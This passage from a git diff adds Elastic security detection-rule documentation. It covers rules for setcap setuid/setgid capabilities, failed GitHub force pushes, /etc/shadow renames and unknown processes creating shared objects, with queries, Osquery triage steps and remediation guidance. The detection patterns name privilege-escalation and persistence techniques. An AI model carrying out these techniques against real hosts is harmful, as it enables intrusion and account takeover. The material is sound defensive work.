Capability Set* + + +Setuid (Set User ID) and setgid (Set Group ID) are Unix-like OS features that enable processes to run with elevated privileges, based on the file owner or group. + +Threat actors can exploit these attributes to achieve persistence by creating malicious binaries, allowing them to maintain control over a compromised system with elevated permissions. + +This rule monitors for the addition of the cap_setuid+ep or cap_setgid+ep capabilities via setcap. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the file that was targeted by the addition of the setuid/setgid capability through OSQuery. +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator that performed these actions for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name == "setcap" and process.args : "cap_set?id+ep" and not ( + process.parent.name in ("jem", "vzctl") or + process.args like "/usr/bin/new?idmap" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-several-failed-protected-branch-force-pushes-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-several-failed-protected-branch-force-pushes-by-user.asciidoc new file mode 100644 index 0000000000..b0cb48b46c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-several-failed-protected-branch-force-pushes-by-user.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-several-failed-protected-branch-force-pushes-by-user]] +=== Several Failed Protected Branch Force Pushes by User + +Detects a high number of failed force push attempts to protected branches by a single user within a short time frame. Adversaries may attempt multiple force pushes to overwrite commit history on protected branches, potentially leading to data loss or disruption of development workflows. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Exfiltration +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: GitHub +* Domain: SaaS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Several Failed Protected Branch Force Pushes by User* + + +This rule flags a single user generating multiple failed force push attempts to protected branches within a short span, indicating attempts to rewrite commit history and bypass branch protections. An attacker with a compromised maintainer role repeatedly tries to roll back a security fix, delete prior commits, and erase history entries before pushing a malicious revision. This activity threatens code integrity, disrupts pipelines, and can propagate harmful changes across repositories. + + +*Possible investigation steps* + + +- Pull audit entries for the rejected updates to confirm the rejection reasons and the exact org/repo/branch targets, then reconstruct the timeline and sequence of attempts. +- Verify the user's current and recent permissions, team membership, and role changes, and confirm whether any admin or ownership transfers occurred before the attempts. +- Correlate the attempts with authentication and token activity (SSO logins, PAT/SSH key usage, IP/device fingerprints, geo), flagging any new or unusual sources. +- Review branch protection settings and recent edits (require status checks, linear history, admin enforcement, force push exemptions) to detect policy tampering or misconfiguration. +- Identify the specific commits the force pushes sought to overwrite by diffing the attempted ref against the protected branch head, prioritizing impacts to security fixes, release branches, or signed commits. + + +*False positive analysis* + + +- During a repository migration or history cleanup, a maintainer runs a local script that loops through branches and tries to push rewritten commits with --force, but newly tightened branch protection rejects each attempt, resulting in multiple failures. +- A developer who previously had a force-push exemption on a protected release branch loses that permission during a role or team change and continues their usual rebase-and-force-push workflow, causing several rapid rejected ref updates. + + +*Response and remediation* + + +- Immediately block the user in the GitHub organization, revoke all active personal access tokens and SSH keys from their account, and force sign-out to stop further push attempts. +- On each affected repository and branch (e.g., main, release/*), remove any force-push exemptions, enable “Include administrators,” require signed commits and status checks, and restrict push access to specific teams. +- Purge staging artifacts by deleting any branches or tags the user created around the attempts, rotate the user’s password and regenerate PATs/SSH keys, and remove newly registered keys or OAuth apps added during the window. +- Validate recovery by confirming the protected branch HEAD matches the last known good signed commit SHA, re-running CI for impacted repos, and creating a restore point tag for rapid rollback. +- Escalate to incident response if any attempts targeted main or release branches, originated from a newly created PAT/SSH key or an unrecognized IP/device, or the user holds repo admin/organization owner rights. +- Harden long term by enforcing org-wide 2FA/SSO, removing all standing force-push exemptions, requiring CODEOWNERS approvals on protected branches, and enabling audit alerts for branch protection edits and new credential creation. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and + github.category == "protected_branch" and + event.action == "protected_branch.rejected_ref_update" +| stats + Esql.document_count = COUNT(*), + Esql.github_org_values = values(github.org), + Esql.github_repo_values = values(github.repo), + Esql.github_branch_values = values(github.branch), + Esql.github_reasons_code_values = values(github.reasons.code), + Esql.github_reasons_message_value = values(github.reasons.message), + Esql.user_name_values = values(user.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by user.name + +| keep Esql.* + +| where + Esql.document_count >= 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shadow-file-modification-by-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shadow-file-modification-by-unusual-process.asciidoc new file mode 100644 index 0000000000..339b353ea2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shadow-file-modification-by-unusual-process.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-shadow-file-modification-by-unusual-process]] +=== Shadow File Modification by Unusual Process + +This rule monitors for Linux Shadow file modifications. These modifications are indicative of a potential password change or user addition event. Threat actors may attempt to create new users or change the password of a user account to maintain access to a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shadow File Modification by Unusual Process* + + +The Linux shadow file is crucial for storing hashed user passwords, ensuring system security. Adversaries may exploit this by altering the file to add users or change passwords, thus gaining unauthorized access or maintaining persistence. The detection rule identifies suspicious modifications by monitoring changes and renames of the shadow file, flagging potential unauthorized access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the event type is "change" and the action is "rename" for the file path "/etc/shadow". +- Check the file.Ext.original.path to identify the original location of the shadow file before the rename event. +- Investigate recent user account changes or additions by examining system logs and user management commands executed around the time of the alert. +- Analyze the history of commands executed by users with elevated privileges to identify any unauthorized or suspicious activities. +- Correlate the event with other security alerts or logs to determine if there are additional indicators of compromise or persistence tactics being employed. +- Verify the integrity of the shadow file by comparing its current state with a known good backup to detect unauthorized modifications. + + +*False positive analysis* + + +- System updates or package installations may trigger legitimate changes to the shadow file. Users can create exceptions for known update processes or package managers to prevent these from being flagged. +- Administrative tasks performed by authorized personnel, such as password changes or user management, can also result in shadow file modifications. Implementing a whitelist for specific user accounts or processes that are known to perform these tasks can reduce false positives. +- Backup or restoration processes that involve the shadow file might cause rename events. Users should identify and exclude these processes if they are part of regular system maintenance. +- Automated scripts or configuration management tools that manage user accounts could lead to expected changes in the shadow file. Users should ensure these tools are recognized and excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Verify the integrity of the /etc/shadow file by comparing it with a known good backup to identify unauthorized changes or additions. +- Reset passwords for all user accounts on the affected system, ensuring the use of strong, unique passwords to mitigate the risk of compromised credentials. +- Review and remove any unauthorized user accounts that may have been added to the system, ensuring that only legitimate users have access. +- Conduct a thorough audit of system logs and user activity to identify any additional signs of compromise or persistence mechanisms employed by the threat actor. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement enhanced monitoring and alerting for future modifications to the /etc/shadow file to quickly detect and respond to similar threats. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "change" and event.action == "rename" and +file.path == "/etc/shadow" and file.Ext.original.path != null and +not ( + file.Ext.original.name in ("shadow+", "nshadow") or + process.name in ( + "usermod", "useradd", "passwd", "chage", "systemd-sysusers", "chpasswd", "userdel", "adduser", "update-passwd", "perl" + ) or + process.executable like "/usr/libexec/platform-python*" or + process.executable in ( + "/usr/bin/containerd", "/usr/bin/dnf", "/usr/bin/yum", "/bin/dnf", "./usr/bin/qemu-aarch64-static", + "/usr/local/cpanel/whostmgr/bin/xml-api", "/usr/local/cpanel/whostmgr/bin/whostmgr5", + "/usr/local/cpanel/bin/admin/Cpanel/security" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shared-object-created-by-previously-unknown-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shared-object-created-by-previously-unknown-process.asciidoc new file mode 100644 index 0000000000..f7758e1340 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shared-object-created-by-previously-unknown-process.asciidoc @@ -0,0 +1,233 @@ +[[prebuilt-rule-8-19-34-shared-object-created-by-previously-unknown-process]] +=== Shared Object Created by Previously Unknown Process + +This rule monitors the creation of shared object files by previously unknown processes. The creation of a shared object file involves compiling code into a dynamically linked library that can be loaded by other programs at runtime. While this process is typically used for legitimate purposes, malicious actors can leverage shared object files to execute unauthorized code, inject malicious functionality into legitimate processes, or bypass security controls. This allows malware to persist on the system, evade detection, and potentially compromise the integrity and confidentiality of the affected system and its data. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://threatpost.com/sneaky-malware-backdoors-linux/180158/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux +* Resources: Osquery + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Shared Object Created by Previously Unknown Process* + + +A shared object file is a compiled library file (typically with a .so extension) that can be dynamically linked to executable programs at runtime, allowing for code reuse and efficient memory usage. The creation of a shared object file involves compiling code into a dynamically linked library that can be loaded by other programs at runtime. + +Malicious actors can leverage shared object files to execute unauthorized code, inject malicious functionality into legitimate processes, or bypass security controls. This allows malware to persist on the system, evade detection, and potentially compromise the integrity and confidentiality of the affected system and its data. + +This rule monitors the creation of shared object files by previously unknown processes through the usage of the new terms rule type. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the shared object that was created or modified through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path = {{file.path}}\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path = {{file.path}}\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator that performed these actions for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:"linux" and event.action:("creation" or "file_create_event") and +(file.extension:"so" or file.name:*.so.*) and +file.path:( + /dev/shm/* or /usr/lib/* or /usr/lib64/* or /usr/local/lib/* or /usr/local/lib64/* or /lib/x86_64-linux-gnu/* or + /usr/lib/x86_64-linux-gnu/* or /lib/i386-linux-gnu/* or /usr/lib/i386-linux-gnu/* or /lib/* or /lib64/* +) and not ( + process.name:( + "dockerd" or "dpkg" or "rpm" or "snapd" or "yum" or "vmis-launcher" or "pacman" or "apt-get" or "dnf" or "podman" or + platform-python* or "dnf-automatic" or "unattended-upgrade" or "apk" or "snap-update-ns" or "install" or "exe" or + "systemd" or "root" or "sshd" or "pip" or "jlink" or python* or "update-alternatives" or pip* or "crio" or "packagekitd" + ) or + (process.name:"vmware-install.pl" and file.path:/usr/lib/vmware-tools/*) or + (process.name:"ssm-agent-worker" and file.path:/usr/lib/jvm/java*) or + process.executable : ( + /dev/fd/* or "/" or "/kaniko/executor" or "/usr/bin/buildah" or "/usr/bin/microdnf" or "/usr/sbin/yum-cron" or + "/usr/lib/check_mk_agent/plugins/3600/cmk-update-agent" or "/usr/bin/pamac-daemon" or "/usr/bin/dnf5" or + "3600/cmk-update-agent" or "/usr/lib/dracut/dracut-install" or "/usr/bin/dockerd" or "/usr/sbin/crond" or + "./usr/bin/qemu-aarch64-static" or "/usr/bin/nvidia-installer" or "./nvidia-installer" or "/usr/bin/cmake" or + /var/lib/docker/overlay2/* or "/usr/sbin/gdm" or "/opt/ITSPlatform/plugin/scap/fortify-scap-plugin" or + /tmp/makeself* or /tmp/selfgz* or "./usr/bin/qemu-aarch64" or "/usr/local/bin/cmake" or /opt/lpruitt/tmp/selfgz* or + "/usr/lib/snapd/snap-update-ns" or "/sbin/yum-cron" or "/usr/local/psa/bin/dnf_install" or /opt/lmanteuffel/useful/tmp/makeself* + ) or + file.name:libnvidia* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shared-object-load-via-lolbin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shared-object-load-via-lolbin.asciidoc new file mode 100644 index 0000000000..2e82ee63f0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shared-object-load-via-lolbin.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-34-shared-object-load-via-lolbin]] 